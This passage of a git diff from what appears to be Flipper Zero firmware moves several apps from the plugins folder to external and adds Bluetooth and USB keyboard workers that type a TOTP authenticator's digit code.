b/applications/external/totp/ui/ui_controls.c similarity index 100% rename from applications/plugins/totp/ui/ui_controls.c rename to applications/external/totp/ui/ui_controls.c diff --git a/applications/plugins/totp/ui/ui_controls.h b/applications/external/totp/ui/ui_controls.h similarity index 100% rename from applications/plugins/totp/ui/ui_controls.h rename to applications/external/totp/ui/ui_controls.h diff --git a/applications/external/totp/workers/bt_type_code/bt_type_code.c b/applications/external/totp/workers/bt_type_code/bt_type_code.c new file mode 100644 index 000000000..8b9cf6548 --- /dev/null +++ b/applications/external/totp/workers/bt_type_code/bt_type_code.c @@ -0,0 +1,141 @@ +#include "bt_type_code.h" +#include +#include +#include "../../types/common.h" +#include "../../services/convert/convert.h" +#include "../constants.h" + +#define HID_BT_KEYS_STORAGE_PATH EXT_PATH("authenticator/.bt_hid.keys") + +static inline bool totp_type_code_worker_stop_requested() { + return furi_thread_flags_get() & TotpBtTypeCodeWorkerEventStop; +} + +static void totp_type_code_worker_type_code(TotpBtTypeCodeWorkerContext* context) { + uint8_t i = 0; + do { + furi_delay_ms(500); + i++; + } while(!furi_hal_bt_is_active() && i < 100 && !totp_type_code_worker_stop_requested()); + + if(furi_hal_bt_is_active() && furi_mutex_acquire(context->string_sync, 500) == FuriStatusOk) { + furi_delay_ms(500); + i = 0; + while(i < context->string_length && context->string[i] != 0) { + uint8_t digit = CONVERT_CHAR_TO_DIGIT(context->string[i]); + if(digit > 9) break; + uint8_t hid_kb_key = hid_number_keys[digit]; + furi_hal_bt_hid_kb_press(hid_kb_key); + furi_delay_ms(30); + furi_hal_bt_hid_kb_release(hid_kb_key); + i++; + } + + furi_mutex_release(context->string_sync); + } +} + +static int32_t totp_type_code_worker_callback(void* context) { + furi_assert(context); + FuriMutex* context_mutex = furi_mutex_alloc(FuriMutexTypeNormal); + if(context_mutex == NULL) { + return 251; + } + + TotpBtTypeCodeWorkerContext* bt_context = context; + + furi_hal_bt_start_advertising(); + bt_context->is_advertising = true; + + while(true) { + uint32_t flags = furi_thread_flags_wait( + TotpBtTypeCodeWorkerEventStop | TotpBtTypeCodeWorkerEventType, + FuriFlagWaitAny, + FuriWaitForever); + furi_check((flags & FuriFlagError) == 0); //-V562 + if(flags & TotpBtTypeCodeWorkerEventStop) break; + + if(furi_mutex_acquire(context_mutex, FuriWaitForever) == FuriStatusOk) { + if(flags & TotpBtTypeCodeWorkerEventType) { + totp_type_code_worker_type_code(bt_context); + } + + furi_mutex_release(context_mutex); + } + } + + furi_hal_bt_stop_advertising(); + + bt_context->is_advertising = false; + + furi_mutex_free(context_mutex); + + return 0; +} + +void totp_bt_type_code_worker_start( + TotpBtTypeCodeWorkerContext* context, + char* code_buf, + uint8_t code_buf_length, + FuriMutex* code_buf_update_sync) { + furi_assert(context != NULL); + context->string = code_buf; + context->string_length = code_buf_length; + context->string_sync = code_buf_update_sync; + context->thread = furi_thread_alloc(); + furi_thread_set_name(context->thread, "TOTPBtHidWorker"); + furi_thread_set_stack_size(context->thread, 1024); + furi_thread_set_context(context->thread, context); + furi_thread_set_callback(context->thread, totp_type_code_worker_callback); + furi_thread_start(context->thread); +} + +void totp_bt_type_code_worker_stop(TotpBtTypeCodeWorkerContext* context) { + furi_assert(context != NULL); + furi_thread_flags_set(furi_thread_get_id(context->thread), TotpBtTypeCodeWorkerEventStop); + furi_thread_join(context->thread); + furi_thread_free(context->thread); + context->thread = NULL; +} + +void totp_bt_type_code_worker_notify( + TotpBtTypeCodeWorkerContext* context, + TotpBtTypeCodeWorkerEvent event) { + furi_assert(context != NULL); + furi_thread_flags_set(furi_thread_get_id(context->thread), event); +} + +TotpBtTypeCodeWorkerContext* totp_bt_type_code_worker_init() { + TotpBtTypeCodeWorkerContext* context = malloc(sizeof(TotpBtTypeCodeWorkerContext)); + furi_check(context != NULL); + + context->bt = furi_record_open(RECORD_BT); + context->is_advertising = false; + bt_disconnect(context->bt); + furi_delay_ms(200); + bt_keys_storage_set_storage_path(context->bt, HID_BT_KEYS_STORAGE_PATH); + if(!bt_set_profile(context->bt, BtProfileHidKeyboard)) { + FURI_LOG_E(LOGGING_TAG, "Failed to switch BT to keyboard HID profile"); + } + + return context; +} + +void totp_bt_type_code_worker_free(TotpBtTypeCodeWorkerContext* context) { + furi_assert(context != NULL); + + if(context->thread != NULL) { + totp_bt_type_code_worker_stop(context); + } + + bt_disconnect(context->bt); + bt_keys_storage_set_default_path(context->bt); + + if(!bt_set_profile(context->bt, BtProfileSerial)) { + FURI_LOG_E(LOGGING_TAG, "Failed to switch BT to Serial profile"); + } + furi_record_close(RECORD_BT); + context->bt = NULL; + + free(context); +} \ No newline at end of file diff --git a/applications/external/totp/workers/bt_type_code/bt_type_code.h b/applications/external/totp/workers/bt_type_code/bt_type_code.h new file mode 100644 index 000000000..475b66db4 --- /dev/null +++ b/applications/external/totp/workers/bt_type_code/bt_type_code.h @@ -0,0 +1,35 @@ +#pragma once + +#include +#include +#include +#include + +typedef uint8_t TotpBtTypeCodeWorkerEvent; + +typedef struct { + char* string; + uint8_t string_length; + FuriThread* thread; + FuriMutex* string_sync; + Bt* bt; + bool is_advertising; +} TotpBtTypeCodeWorkerContext; + +enum TotpBtTypeCodeWorkerEvents { + TotpBtTypeCodeWorkerEventReserved = (1 << 0), + TotpBtTypeCodeWorkerEventStop = (1 << 1), + TotpBtTypeCodeWorkerEventType = (1 << 2) +}; + +TotpBtTypeCodeWorkerContext* totp_bt_type_code_worker_init(); +void totp_bt_type_code_worker_free(TotpBtTypeCodeWorkerContext* context); +void totp_bt_type_code_worker_start( + TotpBtTypeCodeWorkerContext* context, + char* code_buf, + uint8_t code_buf_length, + FuriMutex* code_buf_update_sync); +void totp_bt_type_code_worker_stop(TotpBtTypeCodeWorkerContext* context); +void totp_bt_type_code_worker_notify( + TotpBtTypeCodeWorkerContext* context, + TotpBtTypeCodeWorkerEvent event); \ No newline at end of file diff --git a/applications/external/totp/workers/constants.c b/applications/external/totp/workers/constants.c new file mode 100644 index 000000000..f3c103578 --- /dev/null +++ b/applications/external/totp/workers/constants.c @@ -0,0 +1,14 @@ +#include "constants.h" +#include + +const uint8_t hid_number_keys[10] = { + HID_KEYBOARD_0, + HID_KEYBOARD_1, + HID_KEYBOARD_2, + HID_KEYBOARD_3, + HID_KEYBOARD_4, + HID_KEYBOARD_5, + HID_KEYBOARD_6, + HID_KEYBOARD_7, + HID_KEYBOARD_8, + HID_KEYBOARD_9}; \ No newline at end of file diff --git a/applications/external/totp/workers/constants.h b/applications/external/totp/workers/constants.h new file mode 100644 index 000000000..c314b6c16 --- /dev/null +++ b/applications/external/totp/workers/constants.h @@ -0,0 +1,4 @@ +#pragma once +#include + +extern const uint8_t hid_number_keys[10]; \ No newline at end of file diff --git a/applications/plugins/totp/workers/type_code/type_code.c b/applications/external/totp/workers/usb_type_code/usb_type_code.c similarity index 68% rename from applications/plugins/totp/workers/type_code/type_code.c rename to applications/external/totp/workers/usb_type_code/usb_type_code.c index f2b4c9b9e..3132e2317 100644 --- a/applications/plugins/totp/workers/type_code/type_code.c +++ b/applications/external/totp/workers/usb_type_code/usb_type_code.c @@ -1,19 +1,8 @@ -#include "type_code.h" +#include "usb_type_code.h" #include "../../services/convert/convert.h" +#include "../constants.h" -static const uint8_t hid_number_keys[10] = { - HID_KEYBOARD_0, - HID_KEYBOARD_1, - HID_KEYBOARD_2, - HID_KEYBOARD_3, - HID_KEYBOARD_4, - HID_KEYBOARD_5, - HID_KEYBOARD_6, - HID_KEYBOARD_7, - HID_KEYBOARD_8, - HID_KEYBOARD_9}; - -static void totp_type_code_worker_restore_usb_mode(TotpTypeCodeWorkerContext* context) { +static void totp_type_code_worker_restore_usb_mode(TotpUsbTypeCodeWorkerContext* context) { if(context->usb_mode_prev != NULL) { furi_hal_usb_set_config(context->usb_mode_prev, NULL); context->usb_mode_prev = NULL; @@ -21,10 +10,10 @@ static void totp_type_code_worker_restore_usb_mode(TotpTypeCodeWorkerContext* co } static inline bool totp_type_code_worker_stop_requested() { - return furi_thread_flags_get() & TotpTypeCodeWorkerEventStop; + return furi_thread_flags_get() & TotpUsbTypeCodeWorkerEventStop; } -static void totp_type_code_worker_type_code(TotpTypeCodeWorkerContext* context) { +static void totp_type_code_worker_type_code(TotpUsbTypeCodeWorkerContext* context) { context->usb_mode_prev = furi_hal_usb_get_config(); furi_hal_usb_unlock(); furi_check(furi_hal_usb_set_config(&usb_hid, NULL) == true); @@ -57,6 +46,7 @@ static void totp_type_code_worker_type_code(TotpTypeCodeWorkerContext* context) } static int32_t totp_type_code_worker_callback(void* context) { + furi_assert(context); FuriMutex* context_mutex = furi_mutex_alloc(FuriMutexTypeNormal); if(context_mutex == NULL) { return 251; @@ -64,14 +54,14 @@ static int32_t totp_type_code_worker_callback(void* context) { while(true) { uint32_t flags = furi_thread_flags_wait( - TotpTypeCodeWorkerEventStop | TotpTypeCodeWorkerEventType, + TotpUsbTypeCodeWorkerEventStop | TotpUsbTypeCodeWorkerEventType, FuriFlagWaitAny, FuriWaitForever); furi_check((flags & FuriFlagError) == 0); //-V562 - if(flags & TotpTypeCodeWorkerEventStop) break; + if(flags & TotpUsbTypeCodeWorkerEventStop) break; if(furi_mutex_acquire(context_mutex, FuriWaitForever) == FuriStatusOk) { - if(flags & TotpTypeCodeWorkerEventType) { + if(flags & TotpUsbTypeCodeWorkerEventType) { totp_type_code_worker_type_code(context); } @@ -84,13 +74,18 @@ static int32_t totp_type_code_worker_callback(void* context) { return 0; } -TotpTypeCodeWorkerContext* totp_type_code_worker_start() { - TotpTypeCodeWorkerContext* context = malloc(sizeof(TotpTypeCodeWorkerContext)); +TotpUsbTypeCodeWorkerContext* totp_usb_type_code_worker_start( + char* code_buf, + uint8_t code_buf_length, + FuriMutex* code_buf_update_sync) { + TotpUsbTypeCodeWorkerContext* context = malloc(sizeof(TotpUsbTypeCodeWorkerContext)); furi_check(context != NULL); - context->string_sync = furi_mutex_alloc(FuriMutexTypeNormal); + context->string = code_buf; + context->string_length = code_buf_length; + context->string_sync = code_buf_update_sync; context->thread = furi_thread_alloc(); context->usb_mode_prev = NULL; - furi_thread_set_name(context->thread, "TOTPHidWorker"); + furi_thread_set_name(context->thread, "TOTPUsbHidWorker"); furi_thread_set_stack_size(context->thread, 1024); furi_thread_set_context(context->thread, context); furi_thread_set_callback(context->thread, totp_type_code_worker_callback); @@ -98,19 +93,18 @@ TotpTypeCodeWorkerContext* totp_type_code_worker_start() { return context; } -void totp_type_code_worker_stop(TotpTypeCodeWorkerContext* context) { +void totp_usb_type_code_worker_stop(TotpUsbTypeCodeWorkerContext* context) { furi_assert(context != NULL); - furi_thread_flags_set(furi_thread_get_id(context->thread), TotpTypeCodeWorkerEventStop); + furi_thread_flags_set(furi_thread_get_id(context->thread), TotpUsbTypeCodeWorkerEventStop); furi_thread_join(context->thread); furi_thread_free(context->thread); - furi_mutex_free(context->string_sync); totp_type_code_worker_restore_usb_mode(context); free(context); } -void totp_type_code_worker_notify( - TotpTypeCodeWorkerContext* context, - TotpTypeCodeWorkerEvent event) { +void totp_usb_type_code_worker_notify( + TotpUsbTypeCodeWorkerContext* context, + TotpUsbTypeCodeWorkerEvent event) { furi_assert(context != NULL); furi_thread_flags_set(furi_thread_get_id(context->thread), event); } \ No newline at end of file diff --git a/applications/external/totp/workers/usb_type_code/usb_type_code.h b/applications/external/totp/workers/usb_type_code/usb_type_code.h new file mode 100644 index 000000000..94fddcc59 --- /dev/null +++ b/applications/external/totp/workers/usb_type_code/usb_type_code.h @@ -0,0 +1,30 @@ +#pragma once + +#include +#include +#include + +typedef uint8_t TotpUsbTypeCodeWorkerEvent; + +typedef struct { + char* string; + uint8_t string_length; + FuriThread* thread; + FuriMutex* string_sync; + FuriHalUsbInterface* usb_mode_prev; +} TotpUsbTypeCodeWorkerContext; + +enum TotpUsbTypeCodeWorkerEvents { + TotpUsbTypeCodeWorkerEventReserved = (1 << 0), + TotpUsbTypeCodeWorkerEventStop = (1 << 1), + TotpUsbTypeCodeWorkerEventType = (1 << 2) +}; + +TotpUsbTypeCodeWorkerContext* totp_usb_type_code_worker_start( + char* code_buf, + uint8_t code_buf_length, + FuriMutex* code_buf_update_sync); +void totp_usb_type_code_worker_stop(TotpUsbTypeCodeWorkerContext* context); +void totp_usb_type_code_worker_notify( + TotpUsbTypeCodeWorkerContext* context, + TotpUsbTypeCodeWorkerEvent event); \ No newline at end of file diff --git a/applications/plugins/usb_hid_autofire/LICENSE b/applications/external/tuning_fork/LICENSE similarity index 100% rename from applications/plugins/usb_hid_autofire/LICENSE rename to applications/external/tuning_fork/LICENSE diff --git a/applications/plugins/tuning_fork/application.fam b/applications/external/tuning_fork/application.fam similarity index 100% rename from applications/plugins/tuning_fork/application.fam rename to applications/external/tuning_fork/application.fam diff --git a/applications/plugins/tuning_fork/notes.h b/applications/external/tuning_fork/notes.h similarity index 100% rename from applications/plugins/tuning_fork/notes.h rename to applications/external/tuning_fork/notes.h diff --git a/applications/plugins/tuning_fork/tuning_fork.c b/applications/external/tuning_fork/tuning_fork.c similarity index 100% rename from applications/plugins/tuning_fork/tuning_fork.c rename to applications/external/tuning_fork/tuning_fork.c diff --git a/applications/plugins/tuning_fork/tuning_fork_icon.png b/applications/external/tuning_fork/tuning_fork_icon.png similarity index 100% rename from applications/plugins/tuning_fork/tuning_fork_icon.png rename to applications/external/tuning_fork/tuning_fork_icon.png diff --git a/applications/plugins/tuning_fork/tunings.h b/applications/external/tuning_fork/tunings.h similarity index 100% rename from applications/plugins/tuning_fork/tunings.h rename to applications/external/tuning_fork/tunings.h diff --git a/applications/plugins/uart_terminal/LICENSE b/applications/external/uart_terminal/LICENSE similarity index 100% rename from applications/plugins/uart_terminal/LICENSE rename to applications/external/uart_terminal/LICENSE diff --git a/applications/plugins/uart_terminal/application.fam b/applications/external/uart_terminal/application.fam similarity index 88% rename from applications/plugins/uart_terminal/application.fam rename to applications/external/uart_terminal/application.fam index a36960ea4..530baf2fc 100644 --- a/applications/plugins/uart_terminal/application.fam +++ b/applications/external/uart_terminal/application.fam @@ -3,7 +3,6 @@ App( name="[GPIO] UART Terminal", apptype=FlipperAppType.EXTERNAL, entry_point="uart_terminal_app", - cdefines=["APP_UART_TERMINAL"], requires=["gui"], stack_size=1 * 1024, order=90, diff --git a/applications/plugins/uart_terminal/assets/KeyBackspaceSelected_16x9.png b/applications/external/uart_terminal/assets/KeyBackspaceSelected_16x9.png similarity index 100% rename from applications/plugins/uart_terminal/assets/KeyBackspaceSelected_16x9.png rename to applications/external/uart_terminal/assets/KeyBackspaceSelected_16x9.png diff --git a/applications/plugins/uart_terminal/assets/KeyBackspace_16x9.png b/applications/external/uart_terminal/assets/KeyBackspace_16x9.png similarity index 100% rename from applications/plugins/uart_terminal/assets/KeyBackspace_16x9.png rename to applications/external/uart_terminal/assets/KeyBackspace_16x9.png diff --git a/applications/plugins/uart_terminal/assets/KeySaveSelected_24x11.png b/applications/external/uart_terminal/assets/KeySaveSelected_24x11.png similarity index 100% rename from applications/plugins/uart_terminal/assets/KeySaveSelected_24x11.png rename to applications/external/uart_terminal/assets/KeySaveSelected_24x11.png diff --git a/applications/plugins/uart_terminal/assets/KeySave_24x11.png b/applications/external/uart_terminal/assets/KeySave_24x11.png similarity index 100% rename from applications/plugins/uart_terminal/assets/KeySave_24x11.png rename to applications/external/uart_terminal/assets/KeySave_24x11.png diff --git a/applications/plugins/uart_terminal/assets/WarningDolphin_45x42.png b/applications/external/uart_terminal/assets/WarningDolphin_45x42.png similarity index 100% rename from applications/plugins/uart_terminal/assets/WarningDolphin_45x42.png rename to applications/external/uart_terminal/assets/WarningDolphin_45x42.png diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene.c b/applications/external/uart_terminal/scenes/uart_terminal_scene.c similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene.c rename to applications/external/uart_terminal/scenes/uart_terminal_scene.c diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene.h b/applications/external/uart_terminal/scenes/uart_terminal_scene.h similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene.h rename to applications/external/uart_terminal/scenes/uart_terminal_scene.h diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene_config.h b/applications/external/uart_terminal/scenes/uart_terminal_scene_config.h similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene_config.h rename to applications/external/uart_terminal/scenes/uart_terminal_scene_config.h diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene_console_output.c b/applications/external/uart_terminal/scenes/uart_terminal_scene_console_output.c similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene_console_output.c rename to applications/external/uart_terminal/scenes/uart_terminal_scene_console_output.c diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene_start.c b/applications/external/uart_terminal/scenes/uart_terminal_scene_start.c similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene_start.c rename to applications/external/uart_terminal/scenes/uart_terminal_scene_start.c diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene_text_input.c b/applications/external/uart_terminal/scenes/uart_terminal_scene_text_input.c similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene_text_input.c rename to applications/external/uart_terminal/scenes/uart_terminal_scene_text_input.c diff --git a/applications/plugins/uart_terminal/uart_terminal.png b/applications/external/uart_terminal/uart_terminal.png similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal.png rename to applications/external/uart_terminal/uart_terminal.png diff --git a/applications/plugins/uart_terminal/uart_terminal_app.c b/applications/external/uart_terminal/uart_terminal_app.c similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_app.c rename to applications/external/uart_terminal/uart_terminal_app.c diff --git a/applications/plugins/uart_terminal/uart_terminal_app.h b/applications/external/uart_terminal/uart_terminal_app.h similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_app.h rename to applications/external/uart_terminal/uart_terminal_app.h diff --git a/applications/plugins/uart_terminal/uart_terminal_app_i.h b/applications/external/uart_terminal/uart_terminal_app_i.h similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_app_i.h rename to applications/external/uart_terminal/uart_terminal_app_i.h diff --git a/applications/plugins/uart_terminal/uart_terminal_custom_event.h b/applications/external/uart_terminal/uart_terminal_custom_event.h similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_custom_event.h rename to applications/external/uart_terminal/uart_terminal_custom_event.h diff --git a/applications/plugins/uart_terminal/uart_terminal_uart.c b/applications/external/uart_terminal/uart_terminal_uart.c similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_uart.c rename to applications/external/uart_terminal/uart_terminal_uart.c diff --git a/applications/plugins/uart_terminal/uart_terminal_uart.h b/applications/external/uart_terminal/uart_terminal_uart.h similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_uart.h rename to applications/external/uart_terminal/uart_terminal_uart.h diff --git a/applications/plugins/uart_terminal/uart_text_input.c b/applications/external/uart_terminal/uart_text_input.c similarity index 100% rename from applications/plugins/uart_terminal/uart_text_input.c rename to applications/external/uart_terminal/uart_text_input.c diff --git a/applications/plugins/uart_terminal/uart_text_input.h b/applications/external/uart_terminal/uart_text_input.h similarity index 100% rename from applications/plugins/uart_terminal/uart_text_input.h rename to applications/external/uart_terminal/uart_text_input.h diff --git a/applications/plugins/uart_terminal/uart_validators.c b/applications/external/uart_terminal/uart_validators.c similarity index 100% rename from applications/plugins/uart_terminal/uart_validators.c rename to applications/external/uart_terminal/uart_validators.c diff --git a/applications/plugins/uart_terminal/uart_validators.h b/applications/external/uart_terminal/uart_validators.h similarity index 100% rename from applications/plugins/uart_terminal/uart_validators.h rename to applications/external/uart_terminal/uart_validators.h diff --git a/applications/plugins/unitemp/LICENSE.md b/applications/external/unitemp/LICENSE.md similarity index 100% rename from applications/plugins/unitemp/LICENSE.md rename to applications/external/unitemp/LICENSE.md diff --git a/applications/plugins/unitemp/Sensors.c b/applications/external/unitemp/Sensors.c similarity index 100% rename from applications/plugins/unitemp/Sensors.c rename to applications/external/unitemp/Sensors.c diff --git a/applications/plugins/unitemp/Sensors.h b/applications/external/unitemp/Sensors.h similarity index 100% rename from applications/plugins/unitemp/Sensors.h rename to applications/external/unitemp/Sensors.h diff --git a/applications/plugins/unitemp/application.fam b/applications/external/unitemp/application.fam similarity index 93% rename from applications/plugins/unitemp/application.fam rename to applications/external/unitemp/application.fam index d975da5ff..b0e0aa6ee 100644 --- a/applications/plugins/unitemp/application.fam +++ b/applications/external/unitemp/application.fam @@ -3,7 +3,6 @@ App( name="[GPIO] Unitemp", apptype=FlipperAppType.EXTERNAL, entry_point="unitemp_app", - cdefines=["UNITEMP_APP"], requires=[ "gui", ], diff --git a/applications/plugins/unitemp/assets/flipper_happy_2_60x38.png b/applications/external/unitemp/assets/flipper_happy_2_60x38.png similarity index 100% rename from applications/plugins/unitemp/assets/flipper_happy_2_60x38.png rename to applications/external/unitemp/assets/flipper_happy_2_60x38.png diff --git a/applications/plugins/unitemp/assets/flipper_happy_60x38.png b/applications/external/unitemp/assets/flipper_happy_60x38.png similarity index 100% rename from applications/plugins/unitemp/assets/flipper_happy_60x38.png rename to applications/external/unitemp/assets/flipper_happy_60x38.png diff --git a/applications/plugins/unitemp/assets/flipper_sad_60x38.png b/applications/external/unitemp/assets/flipper_sad_60x38.png similarity index 100% rename from applications/plugins/unitemp/assets/flipper_sad_60x38.png rename to applications/external/unitemp/assets/flipper_sad_60x38.png diff --git a/applications/plugins/unitemp/assets/hum_9x15.png b/applications/external/unitemp/assets/hum_9x15.png similarity index 100% rename from applications/plugins/unitemp/assets/hum_9x15.png rename to applications/external/unitemp/assets/hum_9x15.png diff --git a/applications/plugins/unitemp/assets/in_hg_15x15.png b/applications/external/unitemp/assets/in_hg_15x15.png similarity index 100% rename from applications/plugins/unitemp/assets/in_hg_15x15.png rename to applications/external/unitemp/assets/in_hg_15x15.png diff --git a/applications/plugins/unitemp/assets/mm_hg_15x15.png b/applications/external/unitemp/assets/mm_hg_15x15.png similarity index 100% rename from applications/plugins/unitemp/assets/mm_hg_15x15.png rename to applications/external/unitemp/assets/mm_hg_15x15.png diff --git a/applications/plugins/unitemp/assets/pressure_7x13.png b/applications/external/unitemp/assets/pressure_7x13.png similarity index 100% rename from applications/plugins/unitemp/assets/pressure_7x13.png rename to applications/external/unitemp/assets/pressure_7x13.png diff --git a/applications/plugins/unitemp/assets/repo_qr_50x50.png b/applications/external/unitemp/assets/repo_qr_50x50.png similarity index 100% rename from applications/plugins/unitemp/assets/repo_qr_50x50.png rename to applications/external/unitemp/assets/repo_qr_50x50.png diff --git a/applications/plugins/unitemp/assets/sherlok_53x45.png b/applications/external/unitemp/assets/sherlok_53x45.png similarity index 100% rename from applications/plugins/unitemp/assets/sherlok_53x45.png rename to applications/external/unitemp/assets/sherlok_53x45.png diff --git a/applications/plugins/unitemp/assets/temp_C_11x14.png b/applications/external/unitemp/assets/temp_C_11x14.png similarity index 100% rename from applications/plugins/unitemp/assets/temp_C_11x14.png rename to applications/external/unitemp/assets/temp_C_11x14.png diff --git a/applications/plugins/unitemp/assets/temp_F_11x14.png b/applications/external/unitemp/assets/temp_F_11x14.png similarity index 100% rename from applications/plugins/unitemp/assets/temp_F_11x14.png rename to applications/external/unitemp/assets/temp_F_11x14.png diff --git a/applications/plugins/unitemp/icon.png b/applications/external/unitemp/icon.png similarity index 100% rename from applications/plugins/unitemp/icon.png rename to applications/external/unitemp/icon.png diff --git a/applications/plugins/unitemp/interfaces/I2CSensor.c b/applications/external/unitemp/interfaces/I2CSensor.c similarity index 100% rename from applications/plugins/unitemp/interfaces/I2CSensor.c rename to applications/external/unitemp/interfaces/I2CSensor.c diff --git a/applications/plugins/unitemp/interfaces/I2CSensor.h b/applications/external/unitemp/interfaces/I2CSensor.h similarity index 100% rename from applications/plugins/unitemp/interfaces/I2CSensor.h rename to applications/external/unitemp/interfaces/I2CSensor.h diff --git a/applications/plugins/unitemp/interfaces/OneWireSensor.c b/applications/external/unitemp/interfaces/OneWireSensor.c similarity index 100% rename from applications/plugins/unitemp/interfaces/OneWireSensor.c rename to applications/external/unitemp/interfaces/OneWireSensor.c diff --git a/applications/plugins/unitemp/interfaces/OneWireSensor.h b/applications/external/unitemp/interfaces/OneWireSensor.h similarity index 100% rename from applications/plugins/unitemp/interfaces/OneWireSensor.h rename to applications/external/unitemp/interfaces/OneWireSensor.h diff --git a/applications/plugins/unitemp/interfaces/SPISensor.c b/applications/external/unitemp/interfaces/SPISensor.c similarity index 100% rename from applications/plugins/unitemp/interfaces/SPISensor.c rename to applications/external/unitemp/interfaces/SPISensor.c diff --git a/applications/plugins/unitemp/interfaces/SPISensor.h b/applications/external/unitemp/interfaces/SPISensor.h similarity index 100% rename from applications/plugins/unitemp/interfaces/SPISensor.h rename to applications/external/unitemp/interfaces/SPISensor.h diff --git a/applications/plugins/unitemp/interfaces/SingleWireSensor.c b/applications/external/unitemp/interfaces/SingleWireSensor.c similarity index 100% rename from applications/plugins/unitemp/interfaces/SingleWireSensor.c rename to applications/external/unitemp/interfaces/SingleWireSensor.c diff --git a/applications/plugins/unitemp/interfaces/SingleWireSensor.h b/applications/external/unitemp/interfaces/SingleWireSensor.h similarity index 100% rename from applications/plugins/unitemp/interfaces/SingleWireSensor.h rename to applications/external/unitemp/interfaces/SingleWireSensor.h diff --git a/applications/plugins/unitemp/sensors/AM2320.c b/applications/external/unitemp/sensors/AM2320.c similarity index 100% rename from applications/plugins/unitemp/sensors/AM2320.c rename to applications/external/unitemp/sensors/AM2320.c diff --git a/applications/plugins/unitemp/sensors/AM2320.h b/applications/external/unitemp/sensors/AM2320.h similarity index 100% rename from applications/plugins/unitemp/sensors/AM2320.h rename to applications/external/unitemp/sensors/AM2320.h diff --git a/applications/plugins/unitemp/sensors/BME680.c b/applications/external/unitemp/sensors/BME680.c similarity index 100% rename from applications/plugins/unitemp/sensors/BME680.c rename to applications/external/unitemp/sensors/BME680.c diff --git a/applications/plugins/unitemp/sensors/BME680.h b/applications/external/unitemp/sensors/BME680.h similarity index 100% rename from applications/plugins/unitemp/sensors/BME680.h rename to applications/external/unitemp/sensors/BME680.h diff --git a/applications/plugins/unitemp/sensors/BMP180.c b/applications/external/unitemp/sensors/BMP180.c similarity index 100% rename from applications/plugins/unitemp/sensors/BMP180.c rename to applications/external/unitemp/sensors/BMP180.c diff --git a/applications/plugins/unitemp/sensors/BMP180.h b/applications/external/unitemp/sensors/BMP180.h similarity index 100% rename from applications/plugins/unitemp/sensors/BMP180.h rename to applications/external/unitemp/sensors/BMP180.h diff --git a/applications/plugins/unitemp/sensors/BMx280.c b/applications/external/unitemp/sensors/BMx280.c similarity index 100% rename from applications/plugins/unitemp/sensors/BMx280.c rename to applications/external/unitemp/sensors/BMx280.c diff --git a/applications/plugins/unitemp/sensors/BMx280.h b/applications/external/unitemp/sensors/BMx280.h similarity index 100% rename from applications/plugins/unitemp/sensors/BMx280.h rename to applications/external/unitemp/sensors/BMx280.h diff --git a/applications/plugins/unitemp/sensors/DHT20.c b/applications/external/unitemp/sensors/DHT20.c similarity index 100% rename from applications/plugins/unitemp/sensors/DHT20.c rename to applications/external/unitemp/sensors/DHT20.c diff --git a/applications/plugins/unitemp/sensors/DHT20.h b/applications/external/unitemp/sensors/DHT20.h similarity index 100% rename from applications/plugins/unitemp/sensors/DHT20.h rename to applications/external/unitemp/sensors/DHT20.h diff --git a/applications/plugins/unitemp/sensors/HDC1080.c b/applications/external/unitemp/sensors/HDC1080.c similarity index 100% rename from applications/plugins/unitemp/sensors/HDC1080.c rename to applications/external/unitemp/sensors/HDC1080.c diff --git a/applications/plugins/unitemp/sensors/HDC1080.h b/applications/external/unitemp/sensors/HDC1080.h similarity index 100% rename from applications/plugins/unitemp/sensors/HDC1080.h rename to applications/external/unitemp/sensors/HDC1080.h diff --git a/applications/plugins/unitemp/sensors/HTU21x.c b/applications/external/unitemp/sensors/HTU21x.c similarity index 100% rename from applications/plugins/unitemp/sensors/HTU21x.c rename to applications/external/unitemp/sensors/HTU21x.c diff --git a/applications/plugins/unitemp/sensors/HTU21x.h b/applications/external/unitemp/sensors/HTU21x.h similarity index 100% rename from applications/plugins/unitemp/sensors/HTU21x.h rename to applications/external/unitemp/sensors/HTU21x.h diff --git a/applications/plugins/unitemp/sensors/LM75.c b/applications/external/unitemp/sensors/LM75.c similarity index 100% rename from applications/plugins/unitemp/sensors/LM75.c rename to applications/external/unitemp/sensors/LM75.c diff --git a/applications/plugins/unitemp/sensors/LM75.h b/applications/external/unitemp/sensors/LM75.h similarity index 100% rename from applications/plugins/unitemp/sensors/LM75.h rename to applications/external/unitemp/sensors/LM75.h diff --git a/applications/plugins/unitemp/sensors/MAX31855.c b/applications/external/unitemp/sensors/MAX31855.c similarity index 100% rename from applications/plugins/unitemp/sensors/MAX31855.c rename to applications/external/unitemp/sensors/MAX31855.c diff --git a/applications/plugins/unitemp/sensors/MAX31855.h b/applications/external/unitemp/sensors/MAX31855.h similarity index 100% rename from applications/plugins/unitemp/sensors/MAX31855.h rename to applications/external/unitemp/sensors/MAX31855.h diff --git a/applications/plugins/unitemp/sensors/MAX6675.c b/applications/external/unitemp/sensors/MAX6675.c similarity index 100% rename from applications/plugins/unitemp/sensors/MAX6675.c rename to applications/external/unitemp/sensors/MAX6675.c diff --git a/applications/plugins/unitemp/sensors/MAX6675.h b/applications/external/unitemp/sensors/MAX6675.h similarity index 100% rename from applications/plugins/unitemp/sensors/MAX6675.h rename to applications/external/unitemp/sensors/MAX6675.h diff --git a/applications/plugins/unitemp/sensors/SHT30.c b/applications/external/unitemp/sensors/SHT30.c similarity index 100% rename from 